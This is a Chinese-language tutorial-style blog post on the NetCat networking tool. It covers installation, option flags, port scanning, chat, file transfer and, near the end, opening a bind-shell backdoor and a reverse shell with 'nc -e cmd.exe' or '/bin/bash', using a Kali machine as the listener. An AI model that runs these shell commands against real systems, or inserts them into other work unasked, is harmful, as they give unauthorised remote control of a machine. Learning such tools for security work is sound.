NetCat工具学习
(0)

NetCat学习

安装

wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1-1.i386.rpm

执行安装rpm -ihv netcat-0.7.1-1.i386.rpm
NC
假如安装时报错:

error: Failed dependencies: libc.so.6 is needed by netcat-0.7.1-1.i386

需要安装glibc:

yum install glibc.i686

然后执行rpm -ihv netcat-0.7.1-1.i386.rpm安装即可。

基础知识

特性

“TCP/IP协议栈瑞士军刀”,可以被用在支持端口扫描、隧道、代理、端口转发等的对外连接上。

从标准输入得到数据进行网络传输,它得到的数据可以通过标准输出显示到屏幕上。

连接模式下,作为一个客户端:

nc [-options] hostname [ports]

监听模式下,充当一个服务器:

nc -l -p port [-options] [hostname] [port]

常用参数

options描述
-d无命令行界面,使用后台模式
-e[prog]程序重定向
-g [gateway]源路由跳跃点, 不超过8
-G [num]源路由指示器: 4, 8, 12, ...
-h获取帮助信息
-i [secs]延时设置,端口扫描时使用
-l监听知道NetCat被结束(可断开重连)
-L无命令行界面,使用后台模式
-n以数字形式表示的IP地址
-o [file]使进制记录
-p [port]打开本地端口
-r随机本地和远程的端口
-s [addr]本地源地址
-t以TELNET的形式应答入站请求
-uUDP 模式
-v/-vv显示详细信息
-w [secs]连接超时设置
-zI/O 模式(扫描时使用)

常用命令

作为客户端

nc -v [ip] [port]

扫瞄某IP的某个端口,返回信息详细输出。

nc -v -z [ip] [port]-[port]

扫描某IP的端口到某端口,返回信息详细输出,但扫描速度较慢

使用netcat可以进行端口扫描。但是Netcat并不是这个工作的最佳工具,可以使用一个更高级的工具:nmap。

nc -nvv [ip] [port]

连接到某ip主机的指定端口(需开放)。

作为服务器

nc -l -p 80

开启本机的TCP的80端口并监听。

实现特定功能

聊天功能

双方一个做服务器,一个做客户端。

服务器首先开启一个端口进行监听:

nc -l -p [port]

然后客户端进行连接:

nc [服务器ip] [port]

此时,双方的输入都会显示在对方机器上

文件传输

双方一个做服务器,一个做客户端。

在服务器上创建并且重定向netcat的输入为待传输文件hyqServer.txt,那么当任何成功连接到该端口,netcat会发送文件内容。

nc -l -p [port] < [待发送文件名]

在客户端我们重定向输出到hyqClient.txt,当连接到服务器端时,服务器端发送文件内容,客户端保存文件内容到当前目录下的指定文件中。

nc -n [服务器ip] [port] > [待保存文件名]

由于服务器端使用Linux操作系统,服务器端使用Windows操作系统,对于换行符的解释不通,导致格式不同。但内容没有更改,是完整的。

打开shell

实际上,Netcat更多的用于后门程序。

WinXP作为服务器,开启监听80端口,并选用-v显示详细信息, –e选项指向cmd.exe程序。

nc -lv -p [port] -e cmd.exe

若为Linux系统,可以写做:

nc -lv -p [port] -e /bin/bash

此时,只要有人在所监听的80端口上建立连接,该程序都将执行,并将输出传输出去,即开启了一个后门。

我们可以在kali(作为客户端)中使用IP和相应端口连接WinXP,成功后可以看到输入变成了cmd的模式:

nc -vv [ip] [port]

反向shell

反向shell是指在客户端打开的shell,可以用来绕过防火墙的限制。

使用kali作为服务端打开端口监听:

nc -l -p [port]

WinXP作为客户端打开相同的端口并将程序重定向到命令行:

nc [ip] [port] -e cmd.exe

若客户端为Linux系统,则:

nc [ip] [port] -e /bin/bash

本文为作者admin发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论